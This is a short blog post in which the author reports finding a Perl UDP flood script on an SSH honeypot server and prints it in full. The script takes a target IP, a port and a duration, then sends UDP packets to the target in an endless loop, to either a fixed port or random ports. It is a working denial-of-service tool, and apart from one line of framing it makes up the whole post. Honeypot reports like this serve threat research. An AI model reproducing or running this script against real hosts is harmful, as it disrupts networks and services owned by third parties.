Flood script in my SSH honey-potting.

Simple yet functioning flood script. I found this script on yesterday inside my SSH honey-potting server



<em><span style="color: #ff0000;"><code>#!/usr/bin/perl
 </code></span></em>

<em><span style="color: #ff0000;">use Socket;</span></em>

<em><span style="color: #ff0000;">$ARGC=@ARGV;</span></em>

<em><span style="color: #ff0000;">if ($ARGC !=3) {</span></em>
 <em><span style="color: #ff0000;"> printf "$0 \n";</span></em>
 <em><span style="color: #ff0000;"> printf "for any info vizit http://xxx.x3xforum.ro/ \n";</span></em>
 <em><span style="color: #ff0000;"> exit(1);</span></em>
 <em><span style="color: #ff0000;"> }</span></em>

<span style="color: #ff0000;"> </span>

<!--more-->

<span style="color: #ff0000;">my ($ip,$port,$size,$time);</span>
 <span style="color: #ff0000;"> $ip=$ARGV[0];</span>
 <span style="color: #ff0000;"> $port=$ARGV[1];</span>
 <span style="color: #ff0000;"> $time=$ARGV[2];</span>

<span style="color: #ff0000;">socket(crazy, PF_INET, SOCK_DGRAM, 17);</span>
 <span style="color: #ff0000;"> $iaddr = inet_aton("$ip");</span>

<span style="color: #ff0000;">printf "Amu Floodez $ip pe portu $port \n";</span>
 <span style="color: #ff0000;"> printf "daca nu pica in 10 min dai pe alt port \n";</span>

<span style="color: #ff0000;">if ($ARGV[1] ==0 && $ARGV[2] ==0) {</span>
 <span style="color: #ff0000;"> goto randpackets;</span>
 <span style="color: #ff0000;"> }</span>
 <span style="color: #ff0000;"> if ($ARGV[1] !=0 && $ARGV[2] !=0) {</span>
 <span style="color: #ff0000;"> system("(sleep $time;killall -9 udp) &");</span>
 <span style="color: #ff0000;"> goto packets;</span>
 <span style="color: #ff0000;"> }</span>
 <span style="color: #ff0000;"> if ($ARGV[1] !=0 && $ARGV[2] ==0) {</span>
 <span style="color: #ff0000;"> goto packets;</span>
 <span style="color: #ff0000;"> }</span>
 <span style="color: #ff0000;"> if ($ARGV[1] ==0 && $ARGV[2] !=0) {</span>
 <span style="color: #ff0000;"> system("(sleep $time;killall -9 udp) &");</span>
 <span style="color: #ff0000;"> goto randpackets;</span>
 <span style="color: #ff0000;"> }</span>

<span style="color: #ff0000;">packets:</span>
 <span style="color: #ff0000;"> for (;;) {</span>
 <span style="color: #ff0000;"> $size=$rand x $rand x $rand;</span>
 <span style="color: #ff0000;"> send(crazy, 0, $size, sockaddr_in($port, $iaddr));</span>
 <span style="color: #ff0000;"> }</span>

<span style="color: #ff0000;">randpackets:</span>
 <span style="color: #ff0000;"> for (;;) {</span>
 <span style="color: #ff0000;"> $size=$rand x $rand x $rand;</span>
 <span style="color: #ff0000;"> $port=int(rand 65000) +1;</span>
 <span style="color: #ff0000;"> send(crazy, 0, $size, sockaddr_in($port, $iaddr));</span>
 <span style="color: #ff0000;"> }</span>

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s